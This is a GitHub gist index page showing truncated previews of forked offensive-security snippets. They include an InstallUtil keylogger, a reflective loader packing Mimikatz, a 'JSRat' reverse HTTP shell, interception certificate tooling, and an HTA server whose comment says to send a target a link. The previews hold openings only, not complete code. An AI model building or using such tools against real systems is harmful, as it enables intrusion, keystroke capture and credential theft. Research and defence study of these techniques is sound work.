Skip to content

Instantly share code, notes, and snippets.

function Start-PACFileHosting()
{
# Example PAC File Hosting
# Pattern after http://obscuresecurity.blogspot.com/2014/05/dirty-powershell-webserver.html
# example: http://localhost:8083/i.pac
# Be Certain Line 19 matches your Interceptor Config
Start-Job -ScriptBlock {
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8083/")
@DanielRTeixeira
DanielRTeixeira / web.config
Created November 2, 2017 15:27 — forked from nicholasmckinney/web.config
Encrypt Random Shit with aspnet_regiis.exe
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<!-- Encrypt Element -> C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe -pef "secretStuff" "C:\Tools" -->
<!-- Decrypt Element -> C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe -pdf "secretStuff" "C:\Tools" -->
<!-- See https://msdn.microsoft.com/en-us/library/2w117ede.aspx -->
<!-- Example by @subTee -->
<connectionStrings>
<add name="constr" connectionString="blah" />
</connectionStrings>
<system.web>
<#
Simply Invoke the Script and send the target a link to http://192.168.1.1/app.hta
To change your server, simply find and replace 192.168.1.1 with your server in the code.
#>
function Receive-Request {
param(
$Request
)
$output = ""
@DanielRTeixeira
DanielRTeixeira / RSAGuts.ps1
Created November 2, 2017 15:27 — forked from nicholasmckinney/RSAGuts.ps1
RSA Algorithm in PowerShell. Just Cause
<#
Created By Casey Smith
@subTee
RSA in PowerShell.
Just Cause...
Reference notes for the curious
p = 61 <= first prime number (destroy this after computing e and d)
q = 53 <= second prime number (destroy this after computing e and d)
@DanielRTeixeira
DanielRTeixeira / iukl.cs
Created November 2, 2017 15:27 — forked from nicholasmckinney/iukl.cs
InstallUtil Keylogger/MouseClick Recorder - Stores Logs in [Documents\Klog-Logs]
using System;
using System.IO;
using System.Diagnostics;
using System.Windows.Forms;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//KeyStroke Mouse Clicks Code
/*
* https://code.google.com/p/klog-sharp/
*/
@DanielRTeixeira
DanielRTeixeira / PELoader.cs
Created November 2, 2017 15:27 — forked from nicholasmckinney/PELoader.cs
Reflective PE Loader - Compressed Mimikatz inside of InstallUtil
using System;
using System.IO;
using System.IO.Compression;
using System.Text;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
@DanielRTeixeira
DanielRTeixeira / list
Created November 2, 2017 15:27 — forked from nicholasmckinney/list
Infosec Team - Book List
Infosec Team Book List
The Cuckoo's Egg - Cliff Stoll
Hacking, The Art of Exploitation - Jon Ericson
Art of Memory Forensics - by Michael Hale Ligh, Andrew Case, Jamie Levy, AAron Walters
Kingpin: How One Hacker Took Over the Billion-Dollar Cybercrime Underground - Kevin Poulsen
Ghost in the Wires: My Adventures as the World's Most Wanted Hacker - Kevin Mitnick
Daemon - Daniel Suarez
@DanielRTeixeira
DanielRTeixeira / InterceptorCertGen.ps1
Created November 2, 2017 15:27 — forked from nicholasmckinney/InterceptorCertGen.ps1
Windows Nano Server - Certificate Generation and Installation
function Invoke-CreateCertificate([string] $certSubject, [bool] $isCA)
{
$CAsubject = $certSubject
$dn = new-object -com "X509Enrollment.CX500DistinguishedName"
$dn.Encode( "CN=" + $CAsubject, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE)
#Issuer Property for cleanup
$issuer = "__Interceptor_Trusted_Root"
$issuerdn = new-object -com "X509Enrollment.CX500DistinguishedName"
$issuerdn.Encode("CN=" + $issuer, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE)
# Create a new Private Key
@DanielRTeixeira
DanielRTeixeira / Utility.cs
Created November 2, 2017 15:27 — forked from nicholasmckinney/Utility.cs
InstallUtility Functions
using System;
using System.IO;
using System.Net;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
@DanielRTeixeira
DanielRTeixeira / JSRat.ps1
Created November 2, 2017 15:26 — forked from nicholasmckinney/JSRat.ps1
Fileless JavaScript Reverse HTTP Shell
<#
Author: Casey Smith @subTee
License: BSD3-Clause
.SYNOPSIS
Simple Reverse Shell over HTTP. Execute Commands on Client.